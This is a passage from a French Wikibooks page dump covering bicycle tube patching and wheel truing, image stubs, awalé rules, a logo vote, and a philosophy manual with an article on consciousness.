l'opération la plus délicate, il nous faut bien garder en tête que la qualité de toute notre réparation dépendra de ce passage difficile. Il faut râper la chambre tout autour de la fuite de manière à rendre le caoutchouc rugueux. Ceci permettra au dissolvant de dissoudre plus efficacement cette portion de la chambre pour assurer une meilleure soudure avec la rustine. Une goutte de dissolvant suffit et on peut l'étaler légèrement avec un doigt, bien que cela soit peu recommandé en raison de son caractère salissant. Lorsque le dissolvant s'est presque complètement évaporé, on peut poser la rustine, préalablement débarrassée de sa protection inférieure en aluminium. Presser fortement pendant environ une minute la rustine sur la chambre pour que le caoutchouc dissous se fonde avec celui de la face inférieure de la rustine, reconstituant ainsi l'étanchéité de la chambre. On peut mettre aussi une goutte de dissolvant sur la rustine en plus de celle de la chambre : ça renforce la soudure en cas de rustine pas très nette. ==Remontage== Une fois la rustine en place, regonfler très légèrement la chambre. Elle aquiert ainsi une relative rigidité qui permet de la glisser plus facilement dans le pneu. Avant de remonter la chambre, enlever obligatoirement l'objet pointu qui a causé la crevaison du pneu afin de ne pas repercer. Pour vérifier que l'objet responsable de la crevaison n'est plus enfiché dans le pneu, passez votre main à l'intérieur sur toute la circonférence du pneu. Il est parfois utile de localiser la crevaison par rapport à la valve de la chambre pour rechercher l'objet responsable sur le pneu. Attention de ne pas la pincer entre le pneu et la jante. Une fois la chambre en place, terminer le gonflage. Remonter l'écrou de serrage de la valve s'il avait été retiré, revisser le capuchon de la valve. Avant de gonfler complètement, pousser la valve dans le pneu pour éviter de la pincer, monter le pneu à la main en terminant par l'endroit face à la valve (on a donc commencé à l'opposé) La crevaison est réparée, bonne route ! Dévoiler une roue 172 44493 2006-06-13T20:28:16Z 82.244.76.206 Ortho plus syntaxe Le '''dévoilage d'une [[w:roue|roue]]''' de [[w:bicyclette|bicyclette]] à rayons est une opération de [[w:bricolage|bricolage]] qui consiste principalement à restaurer la forme initiale de la [[w:jante|jante]], en agissant sur la tension des rayons qui la suspendent au [[w:moyeu|moyeu]]. Pour effectuer cette opération, il existe deux possibilités : - l'une consiste à dévoiler la roue directement sur la jante, il faut bien repérer la zone de voilage. - ou on peut aussi, avec le matériel onéreux adéquat : * démonter la roue ; * en retirer le pneumatique, la chambre à air et le fond de jante ; * monter la roue sur un support fixe permettant de la faire tourner librement, et muni d'un repère permettant d'estimer l'écart latéral de la jante par rapport à sa position normale. Les rayons sont reliés d'une part au moyeu de la roue (par un point d'attache fixe), et d'autre part à la jante (par un écrou spécial enfilé sur la partie filetée qui termine le rayon). La fixation à la jante est desaxée : le point de fixation n'est pas à égale distance des deux bords de la jante, mais plus proche d'un des deux bords. Les extrêmités des rayons sont ainsi alternativement légèrement plus proches d'un côté et de l'autre de chaque bord de la jante. Pour dévoiler une roue, il suffit de rééquilibrer les tensions entre les deux côtés de la jante, à l'aide d'une ''clé à rayon''. Celle-ci permet d'avoir prise sur la tête de l'écrou spécial. L'opération doit être faite en réajustant par petits ajustements successifs d'au maximum un quart de tour de clé, de rayon en rayon, jusqu'à stabilisation de la position de la jante. Le contrôle de cette position se fait par rapport au repère latéral fixé au support de la roue. Pour serrer et desserrer les écrous il faut partir du centre du voilage vers les rayons extérieurs. Si la jante est déformée de plus d'un centimètre latéralement, on considère que la dévoiler n'est pas rentable : la tension infligée à certains rayons risque de leur être insupportable et ils pourraient casser, revoilant un peu plus la roue. Mais si c'est un utilisateur conscient qui le fait, voire qui n'a pas les moyens de se payer un réparateur, il peut le faire lui-même, la "rentabilité" n'est plus le problème mais bien de rouler confortablement... ===Autre méthode=== On remarque que les rayons partent de la jante pour aller de part et d'autre, alternativement, se fixer sur le moyeu de la roue. On remarque aussi que le voilage part d'un côté ou de l'autre par rapport à un plan imaginaire qui coupe la roue en deux (moyeu, jante, pneu, tout en deux). On repère, en tournant la roue sur son axe, l'endroit où l'écart est le plus important (on peut pour cela se servir de l'écartement le plus réduit par rapport à un patin de frein). On sert le rayon qui va ''tirer'' le voilage vers le centre en tournant, à l'aide de l'outil à serrer les rayons, dans le sens des aiguilles d'une montre. Il est parfois recommandé, en cas de fort voilage, de serrer deux rayons, toujours pour ''tirer'' le voilage vers le centre de la roue. Il faut très souvent faire tourner la roue pour constament repérer le voilage le plus important. Lorsque l'on voit, au son que fait le rayon en le pinçant comme une corde de guitare, qu'il est beaucoup plus tendu que les rayons alentour, on monte sur sa bicyclette pour homogénéiser les tensions des rayons, pendant un ou deux kilomètres. Si le voilage s'est amplifié, on a serré du mauvais côté, bien sûr : on déserrera les rayons trop tendus pour serrer leurs antagonistes. ''Patience et longueur de temps font mieux que force et que rage ! '' : tout s'apprend, il faut du temps. ==Voir aussi== * [[Poser une rustine]] * [[Changer un patin de bicyclette]] * [[Réparer un câble de frein]] il faut savoir que pour dévoiler une roue, il est impératif de toujours tendre les rayons et non pas de les détendre même si parfois cela semble plus commode. Si l'opération de tension n'est pas possible c'est que le rayon est déjà certainement à sa tension maximale et qu'il est bon dans ce cas de changer de jante. Mais si on veut malgré tout détendre des rayons, il faut leur garder une certaine tension tout de même. La roue dans son logement d'origine est bien calée pour être dévoilée. On pose le vélo à l'envers par terre (sur la selle et le guidon) le frein est un excellent repère pour mesurer le voilage. Image:2p orbitals.jpg 173 11976 2005-05-09T11:40:25Z Skipi 246 +en [[en:Image:2p orbitals.jpg]] Orbitales 2p Image:2p x orbital.jpg 174 11977 2005-05-09T11:41:58Z Skipi 246 +en [[en:Image:2p x orbital.jpg]] Orbitale 2p x Image:2p y orbital.jpg 175 11978 2005-05-09T11:43:25Z Skipi 246 +en [[en:Image:2p y orbital.jpg]] Orbitale 2p y Image:2p z orbital.jpg 176 11979 2005-05-09T11:44:46Z Skipi 246 +en [[en:Image:2p z orbital.jpg]] Orbitales 2p z Image:3d orbitals.jpg 177 11980 2005-05-09T11:39:19Z Skipi 246 +en [[en:Image:3d orbitals.jpg]] Orbitales 3d Image:3d x2-y2 orbital.jpg 178 11981 2005-05-09T11:37:08Z Skipi 246 +en [[en:Image:3d x2-y2 orbital.jpg]] Orbitale 3d x2-y2 Image:3d xy orbital.jpg 179 11982 2005-05-09T11:32:04Z Skipi 246 +en [[en:Image:3d xy orbital.jpg]] Orbitale 3d xy Image:3d xz orbital.jpg 180 11983 2005-05-09T11:32:52Z Skipi 246 +en [[en:Image:3d xz orbital.jpg]] Orbitale 3d xz Image:3d yz orbital.jpg 181 11984 2005-05-09T11:33:37Z Skipi 246 +en [[en:Image:3d yz orbital.jpg]] Orbitales 3d yz Image:3d z2 orbital.jpg 182 11985 2005-05-09T11:36:33Z Skipi 246 +en [[en:Image:3d z2 orbital.jpg]] Orbitale 3d z2 Image:Delta-bonding.png 183 11986 2004-07-29T19:45:29Z Hibisco-da-Ilha 7 Liaison delta Liaison delta Image:D-orbital.png 184 11987 2004-07-29T19:46:04Z Hibisco-da-Ilha 7 Orbital Delta Orbital Delta Image:Pi-bonding.png 185 11988 2004-07-29T19:49:02Z Hibisco-da-Ilha 7 Liaison Pi Liaison Pi Image:P-orbital.png 186 11989 2004-07-29T19:49:51Z Hibisco-da-Ilha 7 Orbitale Pi Orbitale Pi Image:S-orbital.png 187 11990 2004-07-29T19:50:22Z Hibisco-da-Ilha 7 Orbitale Sigma Orbitale Sigma Image:1s orbital.jpg 188 11991 2005-05-09T11:45:18Z Skipi 246 +en [[en:Image:1s orbital.jpg]] Orbitale 1s Image:Awele.JPG 189 11992 2004-07-29T19:59:19Z HB 15 Jeu d'awalé. Photographie personnelle Jeu d'awalé. Photographie personnelle Boîte à jeux/Awalé 190 27252 2005-12-21T23:21:39Z François Haffner 951 [[Boite à jeux/Awalé]] déplacé vers [[Boîte à jeux/Awalé]] [[Image:awele.JPG|right]] Nombre de joueurs : 2 joueurs. Durée d'une partie: 20 min <br/> <br/> '''But du jeu''': Gagner un maximum de graines. '''Matériel''': Une boite avec douze réceptacles (une boite de 12 oeufs vide suffit), 48 graines ou cailloux. <br/> <br/> '''Début de partie''': Chaque joueur dépose dans les 6 réceptacles qui lui font face 24 graines, 4 graines par réceptacle. Ces 6 réceptacles constituent son territoire. '''Déroulement''': à tour de rôle, chaque joueur choisit un réceptacle de son territoire, prend toutes les graines qu'il contient et les distribue une par une dans les autres réceptacles (les siens sauf celui de départ, et ceux de l'adversaire) en tournant dans le sens inverse des aiguilles d'une montre. Si sa dernière graine tombe chez l'adversaire dans une case dont le nombre de graines est alors de 2 ou 3, il empoche les 2 ou 3 graines. Il regarde alors le réceptacle précédent. Si ce réceptacle est chez l'adversaire et s'il contient 2 ou 3 graines, il les empoche aussi. Ainsi de suite, jusqu'à arriver, ou bien à un réceptacle adverse contenant 0, 1 ou plus de 3 graines, ou bien à un réceptacle de son territoire. '''Fin de partie''' : Intervient quand un joueur n'a plus de graine dans son territoire ou, d'un commun accord, quand le nombre de graines restantes devient trop petit pour que la partie soit intéressante. '''Variante''' : On peut ajouter aussi la règle suivante. Un joueur doit obligatoirement ''fournir'' l'adversaire. C'est à dire qu'une des graines distribuées doit rester dans le territoire adverse. Cette variante réduit les possibilités de jeu et permet de faire des parties plus courtes. {{BoiteJeux}} Image:Proposition Franfois 300704.png 191 11994 2004-07-30T15:09:32Z Franfois 11 Proposition de logo Franfois 30 juillet 2004 Proposition de logo Franfois 30 juillet 2004 Wikilivres:Vote pour le logo 192 17026 2005-07-20T23:28:20Z Esope 99 /* 4. Un comment sur le logo courant */ Comme quand on aménage dans un nouveau logis, on doit faire la peinture. Là il faut décider quel cadre on va mettre dans notre Wikilivres, en haut à gauche. Voilà les propositions, et moi je donnerais jusqu'au, disons 7 août pour proposer des logos...d'accord? [[Utilisateur:Franfois|Franfois]] 30 jul 2004 à 15:13 (UTC) ---- == 1. [[Utilisateur:Franfois]] == [[image:Proposition_Franfois_300704.png|logo]] Votent pour ce logo : * [[Utilisateur:Greudin|Greudin]] * [[Utilisateur:Yann|Yann]] * [[w:Utilisateur:Vev|Vev]] y a de l idée :p * [[Utilisateur:Esope|Esope]] Je vote pour, même si je trouve que les couleurs sont un peu trop "fortes". Ne serait-ce pas possible de les atténuer ? Edit : Et aussi, mettre une reliure sur les livres ? * <s>[[Utilisateur:Xillimiandus|Xillimiandus]] , pas mal, mais je pense qu'on peut faire mieux. </s> (vote plus bas) Commentaires : <br>Un peu carré, tout en ligne très dures. Dégage une impression de rigidité. [[Utilisateur:Xillimiandus|Xillimiandus]] pourquoi ne pas dire quel outil tu as utilisé et fournir les sources pour qu'on puisse essayer de l'améliorer.<br> Ca serait sympa d'avoir un travail collaboratif sur le logo ! ==2. Une francisation possible== [[Image:Proposition_logo2.png]] Votent pour ce logo : *[[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] 3 aoû 2004 à 18:29 (UTC) *[[Utilisateur:Anarchimede|Anarchimede]] 19 déc 2004 à 01:31 (UTC) ==3. Une francisation demandée== [[Image:Wikibooks2.png]] <br>Je trouve que tout les livres bleus dégagent une certaine monotonie et une certaine uniformité qui n'est (ne devrait ?) pas être présente dans le projet. Voilà une proposition anglaise. À françiser. Votent pour ce logo : * [[Utilisateur:Xillimiandus|Xillimiandus]] 26 déc 2004 à 14:31 (UTC) ==4. Un comment sur le logo courant== Je crois que ma plus grande problème avec ces logos (vraiment c'est avec le logo courant) est que les livres sont "en perspective", c'est-à-dire, le texte est écrit comme si les livres étaient des rectangles "2D", mais ils sont, sur l'ecran, des [[w:quadrilatère|quadrilatère]]s "3D". Est-ce que ça fait du sens à qqn? [[Utilisateur:Zach Alexander|Zach Alexander]] 11 avr 2005 à 19:15 (UTC) :Je vois ce que tu veux dire, et il est vrai que ce serait chouette si les titres étaient en perspective (ou au moins inclinés comme le livre) également [[Utilisateur:Esope|Esope]] 20 jul 2005 à 23:28 (UTC) Image:Proposition logo2.png 193 11996 2004-07-30T16:47:54Z HB 15 proposition de logo. Modification du logo anglais. (à supprimer si pb de droit) proposition de logo. Modification du logo anglais. (à supprimer si pb de droit) Image:Sp hybrid orbital.jpg 194 11997 2004-07-30T21:56:27Z Hibisco-da-Ilha 7 Orbitale hybride sp Orbitale hybride sp Image:Sp2 hybrid orbital.jpg 195 11998 2004-07-30T21:57:04Z Hibisco-da-Ilha 7 Orbitale hybrida sp2 Orbitale hybrida sp2 Image:Sp3 hybrid orbital.jpg 196 11999 2004-07-30T21:57:52Z Hibisco-da-Ilha 7 Orbitale hybride sp3 Orbitale hybride sp3 Image:Sp3d hybrid orbital.jpg 197 12000 2004-07-30T21:58:59Z Hibisco-da-Ilha 7 Orbitale hybride sp3d Orbitale hybride sp3d Image:Sp3d2 hybrid orbital.jpg 198 12001 2004-07-30T21:59:51Z Hibisco-da-Ilha 7 Orbitale hybride sp3d2 Orbitale hybride sp3d2 Philosophie/Manuel de terminale 199 46365 2006-06-28T14:31:39Z Guillaumito 46 [[Manuel de philosophie (terminale)]] déplacé vers [[Philosophie/Manuel de terminale]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>'''Manuel de philosophie'''</center> |- | width="33%"|<[[Histoire de la philosophie]] | width="34%" align="center"| | width="33%" align="right"|'''[[Introduction générale à la philosophie]]>''' |} {{SommairePhilo}} '''[[Introduction générale à la philosophie]]''' '''Méthodologie ''' * La [[dissertation (philosophie)|dissertation]] * L'[[explication de texte]] * [[Vocabulaire philosophique]] '''Série littéraire''' *'''Le [[sujet]]''' : [[conscience]] - [[perception]] - [[inconscient]] - [[autrui]] - [[désir]] [[existence et temps]] *'''La [[culture]]''' : [[langage]] - [[art]] - [[travail]] - [[technique]] - [[religion]] - [[histoire]] *'''La [[raison et réel|raison et le réel]]''' : [[théorie]] et [[expérience]] - [[démonstration]] - [[interprétation]] - [[vivant]] - [[matière]] et [[esprit]] - [[vérité]] *'''La [[politique]]''' : [[société]] - [[justice]] et - [[droit]] - [[État]] *''' La [[morale]]''' : [[liberté]] [[devoir]] [[bonheur]] ''' Repères ''' {|border="0" cellpadding="2" |- valign="top" | *Absolu/relatif *Abstrait/concret *[[Acte/Puissance]] *Analyse/synthèse *Cause/fin *[[Contingent/nécessaire/possible]] | *[[Croire/savoir]] *[[Essentiel/accidentel]] *[[Expliquer/comprendre]] *[[En fait/en droit]] *[[Formel/matériel]] *[[Genre/espèce/individu]] | *Idéal/réel *Identité/égalité/différence *Intuitif/discursif *Légal/légitime *Médiat/immédiat *Objectif/subjectif | *Obligation/contrainte *Origine/fondement *Persuader/convaicre *Ressemblance/analogie *Principe/conséquence *En théorie/en pratique | *Transcendant/immanent *Universel/général/particulier/singulier |} == Auteurs == '''L'antiquité et le moyen-âge''' [[w:Platon|Platon]] - [[w:Aristote|Aristote]] - [[w:épicure|Épicure]] - [[w:Lucrèce|Lucrèce]] - [[w:Sénèque le Jeune|Sénèque le Jeune]] - [[w:Cicéron|Cicéron]] - [[w:Épictète|Épictète]] - [[w:Marc Aurèle|Marc Aurèle]] - [[w:Sextus Empiricus|Sextus Empiricus]] - [[w:Plotin|Plotin]] - [[w:Augustin d'Hippone|Augustin]] - [[w:Averroès|Averroès]] - [[w:Anselme de Cantorbéry|Anselme]] - [[w:Thomas d'Aquin|Thomas d'Aquin]] - [[w:Guillaume d'Occam|Ockham]] '''Période moderne''' [[w:Nicolas Machiavel|Machiavel]] - [[w:Michel de Montaigne|Montaigne]] - [[w:Francis Bacon (philosophe)|Bacon]] - [[w:Thomas Hobbes|Hobbes]] - [[w:René Descartes|Descartes]] - [[Blaise Pascal|Pascal]] - [[Baruch Spinoza|Spinoza]] - [[w:John Locke|John Locke]] - MALEBRANCHE - LEIBNIZ - VICO - BERKELEY - CONDILLAC - MONTESQUIEU - [[w:Hume|Hume]] - ROUSSEAU - DIDEROT - [[w:Kant|Kant]] '''Période contemporaine''' [[w:Hegel|Hegel]] - SCHOPENHAUER - TOCQUEVILLE - COMTE - COURNOT - STUART MILL - KIERKEGAARD - MARX - [[w:Nietzsche|Nietzsche]] - [[w:Freud|Freud]] - DURKHEIM - HUSSERL - BERGSON - ALAIN - RUSSEL - BACHELARD - HEIDEGGER - WITTGENSTEIN - POPPER - SARTRE - ARENDT - [[w:Merleau-Ponty|Merleau-Ponty]] - LÉVINAS - [[w:Michel Foucault|Foucault]] *'''[[Fiches de lecture (philosophie)|Fiches de lecture]]''' == Autres ressources == {{wikisource|catégorie:Philosophie|philosophie}} *[[s:Cours de philosophie|Cours de philosophie]] de Durkheim sur Wikisource. == Lien externe == *[http://www.education.gouv.fr/bo/2003/25/MENE0301199A.htm Bulletin officiel du 19 juin 2003] [[Catégorie:Philosophie|philosophie]] Philosophie/Conscience 200 46050 2006-06-27T18:23:05Z Guillaumito 46 [[Conscience]] déplacé vers [[Philosophie/Conscience]]: Convention de nommage {{SommairePhilo}} La '''conscience''' est l'[[intuition]] par un [[individu]] de son [[existence]] et du monde qui l'entoure (y compris d'autres êtres potentiellement doués de conscience) ; la conscience porte donc : *sur ce qui se passe dans l'[[esprit]] d'un individu : opérations cognitives, attitudes propositionnelles, aspects de sa personnalité et de ses actions (identité du soi et conscience morale), perceptions internes (corps propre) ; *sur le monde extérieur, sur l'environnement, sur des entités vivantes douées ou non de conscience ([[autrui]]). Le terme '''conscience''' est donc susceptible de désigner deux choses : * Le fait pour un être de posséder une représentation, même très simplifiée, du monde extérieur et d'y réagir. Cette forme de conscience se nomme ''conscience du monde'' ou en anglais ''awareness''. *Le fait pour un être de posséder une représentation, même très simplifiée, de certaines activités qu'il rapporte à lui-même. Cette forme de conscience se nomme ''conscience de soi'', ou en anglais ''consciousness''. On considère en général que cette seconde forme de conscience inclut la première. L'étude de la conscience concerne plusieurs disciplines, comme la [[psychologie]], la [[psychiatrie]], la [[philosophie de l'esprit]] et la [[philosophie de l'action]].<br> Le concept de conscience peut être opposé à l'[[inconscient]], à l'inconscience, à l'inattention, à la distraction, au divertissement, etc. Il existe de nombreuses théories qui s'efforcent de rendre compte de ce phénomène. A partir de ces théories, on peut mettre en avant quelques groupes de questions fondamentales : *quelle est la nature de la conscience (et, par suite, son origine et son développement) ? *quels sont ses caractéristiques ? *quel est son mode d'existence ? Comment peut-elle exister à partir d'entités non-conscientes ? *quelle est sa fonction ? A-t-elle une causalité propre et, si oui, de quelle nature ? *quelles relations la conscience entretient-elle avec les autres phénomènes de la réalité, physiques et mentaux ? En résumé, il s'agit de décrire la conscience, de découvrir sa cause et de déterminer son rôle et sa valeur. ==[[Définition]]s== Le concept de conscience a de nombreux sens que l'on peut s'efforcer de distinguer, bien que dans certains cas ces différences soient surtout des différences de degrés : *La conscience comme sensation : tout être doué de sensibilité peut être dit conscient, dans la mesure où il perçoit son environnement et répond à des stimuli ; *la conscience spontanée, [[sentiment]] intérieur immédiat ; certains philosophes de l'Antiquité (par exemple les [[Stoïcisme|Stoïciens]]) parlent de toucher intérieur ; *on peut distinguer une étape supérieure, en signifiant par le mot conscience un état d'éveil de l'organisme, état qui différe du précédent par le fait qu'il ne se réduit pas à la passivité de la sensibilité (cf. en anglais, le mot ''wakefulness'', vigilance, alerte); en ce sens, il n'y a pas de conscience dans l'état de sommeil profond ou dans le coma ; *Conscience de soi : la conscience est la présence de l'[[esprit]] à lui-même dans ses [[représentation]]s, comme [[connaissance]] réflexive du [[sujet]] qui se sait percevant. Par cette présence, un [[individu]] prend [[connaissance]], par un [[sentiment]] ou une [[intuition]] intérieurs, d'états psychiques qu'il se rapporte à lui-même en tant que [[sujet]]. Cette réflexivité renvoie à une unité problématique du [[moi]] et de la pensée, et à la [[croyance]] tout aussi problématique que nous sommes à l'origine de nos actes ; ce dernier sens est une connaissance de notre état conscient aux premiers sens. Le domaine d'application est assez imprécis et comporte des degrés : s'il s'agit d'une conscience claire et explicite, les enfants ne possèdent sans doute pas la conscience en ce sens ; s'il s'agit d'un degré moindre de conscience, d'une sorte d'éveil à soi, alors non seulement les enfants peuvent être considérés comme conscient, mais peut-être aussi certains animaux. *un autre sens du mot conscience a été introduit par le philosophe [[Thomas Nagel]] : il s'agit de la conscience pour un être de ce que cela fait d'être ce qu'il est. *la conscience comme conscience de quelque chose (conscience transitive, opposée à l'intransitivité du fait d'être conscient). Cette conscience renvoie à l'existence problématique du monde extérieur et à notre capacité de le connaître ; *la conscience intellectuelle, [[intuition]] des [[essence]]s ou des [[concept]]s. *la conscience phénoménale, en tant que structure de notre expérience. Dans l'ensemble de ces distinctions, on peut noter une conception de la conscience comme savoir de soi et perception immédiate de la pensée, et une autre comme sentiment de soi impliquant un sous-bassement obscur et un devenir conscient qui sont en général exclus de la première conception. 2.La conscience morale est le jugement moral de nos actions. Dans ce cas, la conscience nous permet de distinguer le bien du mal. C'est le sens premier du mot "conscience", que l'on trouve chez Cicéron et Quintillien. ==Histoire== Il n'existe aucun concept comparable à celui de conscience dans la philosophie grecque, et ce n'est qu'au XVIIème siècle que le terme devient un fondement de la reflexion sur l'esprit. Chez certains auteurs romains, le mot latin prend une dimension morale dérivée du droit, exprimant le fait de se prendre soi-même pour témoin. Le concept de conscience n'a été isolé de sa signification morale qu'à partir de [[Locke]], dans son ''Essai sur l'entendement humain''. Avant lui le mot ''conscience'' n'a jamais le sens moderne. En particulier, Descartes ne l'emploie quasiment jamais en ce sens, bien qu'il définisse la pensée comme une conscience des opérations qui se produisent en nous (cf. [[Principes de la philosophie]]). C'est le traducteur de Locke, Pierre Coste, qui a introduit l'usage moderne du mot conscience (donc, en français, mais le sens du mot ''consciouness'' était bien sûr tout aussi nouveau) associé à l'idée d'un soi-même dont la conscience exprime l'identité. == Caractéristiques de la conscience == La conscience présente certains traits caractéristiques : *Le rapport au moi ; *la subjectivité : la conscience que j'ai de moi-même est disctincte de celle d'autrui ; *la structure phénoménale ; *la mémoire ; *la disponibilité, ou [[liberté]] de la conscience à l'égard des objets du monde ; *la temporalité ; *la sélectivité ; *l'intentionalité : toute conscience est conscience de quelque chose, est tournée vers autre chose qu'elle-meme : "la conscience n'a pas de dedans, elle n'est rien que le dehors d'elle-même." ([[Sartre]]). *l'unité ou synthèse de l'expérience ; ===Conscience de soi=== La conscience s'accompagne de souvenirs, de sentiments, de sensations et de savoir que nous rapportons à une réalité intérieure que nous nommons [[moi]]. Cette conscience est appelée ''conscience de soi'', et est structurée par la [[mémoire]] et l'[[entendement]]. Elle est en ce sens une unité synthétique sous-jacente à tous nos comportements [[volonté|volontaires]]. Les éléments qu'elle contient, souvenirs, sentiments, jugements, dépendent d'un contexte culturelle, ce qui fait de la conscience de soi une réalité empirique changeante et multiple. L'unité et la permanence du moi ne sont donc pas garanties par l'unité de la conscience. ====Le rapport en première personne==== L'introspective est la source de connaissances sur la conscience qui vient généralement tout de suite à l'esprit quand on pose la question de la méthode d'investigation à suivre. C'est un fait que nous pensons avoir un accés privilégié à notre esprit, accés dont la conscience serait l'expression. Mais l'investigation de notre vie mentale n'est certainement pas suffisante pour élaborer une théorie de la conscience étendue : il est même nécessaire d'examiner la conscience à la troisième personne, et de se demander comment il peut être possible d'observer la conscience de l'extérieur. ==== Courant de conscience ==== L'idée de conscience de soi pose le problème de l'unité d'un sujet, d'un moi ou d'un conscience. On peut très généralement distincter deux types de d'hypothèse : *la conscience est l'expression d'une unité interne ; cette unité peut être comprise de différentes manières : **unité d'un individu ; **unité transcendentale. *la conscience est n'est qu'une liaison d'aggrégats d'impressions ([[Hume]]) qui peut être décrite comme une suite plus ou moins cohérentes de récits sur un sujet purement virtuel. ===Conscience du monde extérieur=== Selon [[Husserl]], qui reprend un concept médiéval, toute [[conscience]] est [[conscience]] de quelque chose. Cela suppose que la [[conscience]] soit un effort d'[[attention]] qui se concentre autour d'un objet. Cette concentration est structurée par l'expérience ou par des catégories ''a priori'' de l'[[entendement]], structures que l'on considère parfois comme les fondements de toute connaissance du monde extérieur. Dans l'[[idéalisme]] moderne la [[conscience]] est ainsi la source et l'origine de la [[science]] et de la [[philosophie]]. ==== Structure phénoménale de la conscience ==== Dans la question de savoir quelles relations la conscience entretient avec la réalité en général, une description phénoménologique répond que celle-ci a une structure spaciale et temporelle, structure qui est une organisation des concepts qui concernent notre expérience du monde et nous-mêmes en tant qu'acteurs de ce monde. ===Conscience morale=== == Fonctions de la conscience == *Régulation du comportement et interface avec le monde extérieur : selon la théorie de l' ''access consciousness'', l'état de conscience est un accès à une information susceptible d'être utile à l'organisme et de le guider. La conscience est donc un état indépendant à la fois de ce que cela fait d'être conscient de telle ou telle chose et de toute idée de structure phénoménale. *Fonction sociales == Les théories de la conscience == Les questions de savoir ce qui caractérise la conscience, quels sont sa fonction et ses rapports avec elle-même ne préjugent pas nécessairement du statut ontologique qu'il est possible de lui donner. On peut par exemple considérer que la conscience est une partie de la réalité qui se manifeste dans des états de conscience tout en étant plus qu'une simple abstraction produite à partir de l'adjectif "conscient". Cette thèse réaliste n'a plus beaucoup de défenseurs de nos jours. L'une des raisons est que l'investigation descriptive rend inutile ce genre d'hypothèses réalistes. *[[Dualisme]] *Physicalisme *La conscience du point de vue matérialiste : voir page de discussion *Théories cognitivistes ==Sujets de dissertation== *N'exprime-t-on que ce dont on a conscience? *Les consciences peuvent-elles communiquer les unes avec les autres? *La conscience peut-elle être objective? *La conscience me fait-elle connaître que je suis libre? *La conscience règne mais ne gouverne pas. *La conscience de soi doit-elle quelque chose à la présence d'autrui? *Peut-on connaître le moi? *Suis-je ce que j'ai conscience d'être? *Le monde a-t-il besoin de moi? *Suis-je le mieux placé pour savoir ce que je suis? *Suis-je ce que j'ai conscience d'être? *Peut-on ne pas être soi-même? *Le moi est-il haïssable? *Pourquoi prive-t-on l'animal de conscience? *La certitude est-elle un signe de pensée morte? *Peut-on connaître le moi? *Que peut-on savoir de soi? *Suis-je responsable de ce dont je n’ai pas conscience ? *Peut-on dire que le corps est le malheur de la conscience ? *Peut-on ne pas savoir ce que l’on fait ? *Peut-on être à la fois sage et ignorant ? *Doit-on apprendre à devenir soi-même? *Suis-je ce que j'ai conscience d'être ? *Peut-on douter de tout ? *Peut-on ne pas être soi-même ? *Puis-je savoir qui je suis ? *Suis-je ce que j'ai conscience d'être ? *Suis-je le mieux placé pour me connaître moi-même ? *Pourquoi l'homme peut-il parfois désirer l'inconscience ? *Peut-on parler de connaissance de soi ? *Qu'est-ce que se connaître soi-même ? *Que peut-on savoir de soi ? *Qu'est-ce qu'avoir bonne conscience ? *Suffit-il d'être conscient pour se connaître ? *Peut on se fier à la conscience? ==Textes d'études== PLATON CRITIAS J'aurais même presque envie de dire que se connaître soi-même, c'est cela la sagesse, et je suis d'accord avec l'auteur de l'inscription de Delphes. (...) Voilà en quels termes, différents de ceux des hommes, le dieu s'adresse à ceux qui entrent dans son temple si je comprends bien l'intention de l'auteur de l'inscription. A chaque visiteur, il ne dit rien d'autre, en vérité, que : « Sois sage ! » Certes, il s'exprime en termes un peu énigmatiques, en sa qualité de devin. Donc, selon l'inscription et selon moi, « connais-toi toi-même » et « sois sage », c'est la même chose ! (...) SOCRATE Dis-moi donc ce que tu penses de la sagesse. CRITIAS Je pense que seule entre toutes les sciences, la sagesse est science d'elle-même et des autres sciences. SOCRATE Donc elle sera aussi la science de l'ignorance, si elle l'est de la science ? CRITIAS Assurément. SOCRATE En ce cas, le sage seule connaîtra lui-même et sera capable de discerner ce qu'il sait et ce qu'il ne sait pas ; et de même pour les autres, il aura le pouvoir d'examiner ce que chacun sait et a conscience à juste titre de savoir, mais aussi ce qu'il croit à tort savoir. De cela, aucun autre homme n'est capable. Finalement, l'attitude (sôphronein = être sage) et la vertu (sôphrosunè) de sagesse, de même que la connaissance de soi-même consistent à savoir ce qu'on ne sait pas. Est-ce bien là ta pensée ? Charmide, 164d-167a. MARC-AURELE Voici les propriétés de l'âme raisonnable : elle se contemple elle-même, se plie, se tourne et se fait ce qu'elle veut être; elle recueille les fruits qu'elle porte, au lieu que les productions des plantes et des animaux sont recueillis par d'autres. En quelque moment que la vie se termine, elle a toujours atteint le but où elle visait. Car il n'en est pas de la vie comme d'une danse et d'une pièce de théâtre, ou d'autres représentations, qui restent imparfaites et défectueuses si on les interrompt. À quelqu'âge, en quelque lieu que la mort la surprenne, elle forme du temps passé un tout achevé et complet, de sorte qu'elle peut dire : «J'ai tout ce qui m'appartient.» De plus, elle parcourt l'univers entier et le vide qui l'environne; elle examine sa figure. Elle s'étend jusqu'à l'éternité; elle embrasse et considère le renouvellement de l'univers fixé à des époques certaines; elle conçoit que nos neveux ne verront rien de nouveau, comme ceux qui nous ont devancés n'ont rien vu de mieux que ce que nous voyons, et qu'ainsi un homme qui a vécu quarante ans, pour peu qu'il ait de l'entendement, a vu, en quelque manière, tout ce qui a été avant lui et qui sera après, puisque tous les siècles se ressemblent. Les autres propriétés de l'âme sont l'amour du prochain, la vérité, la pudeur, et de ne respecter personne plus que soi-même, ce qui est le propre de la loi. C'est ainsi que la droite raison ne diffère en rien des règles de la justice. Pensées, livre XI, art. 1 DESCARTES La raison pour laquelle je crois que l'âme pense toujours, est la même qui me fait croire que la lumière luit toujours, bien qu'il n'y ait point d'yeux qui la regardent ; que la chaleur est toujours chaude, bien qu'on ne s'y chauffe point ; que le corps, ou la substance étendue, a toujours de l'extension ; et généralement, que ce qui constitue la nature d'une chose et toujours en elle, pendant qu'elle existe ; en sorte qu'il me serait plus aisé de croire que l'âme cesserait d'exister, quand on dit qu'elle cesse de penser, que non pas de concevoir, qu'elle fût sans pensée. Et je ne vois ici aucune difficulté, sinon qu'on juge superflu de croire qu'elle pense, lorsqu'il ne nous en demeure aucun souvenir par après. Mais si on considère que nous avons toutes les nuits mille pensées, et même en veillant que nous en avons eu mille depuis une heure, dont il ne nous reste plus aucune trace en la mémoire, et dont nous ne voyons pas mieux l'utilité, que de celles que nous pouvons avoir eues avant que de naître, on aura bien moins de peine à se le persuader qu'à juger qu'une substance dont la nature est de penser, puisse exister, et toutefois ne penser point. Lettre à Gibieuf, 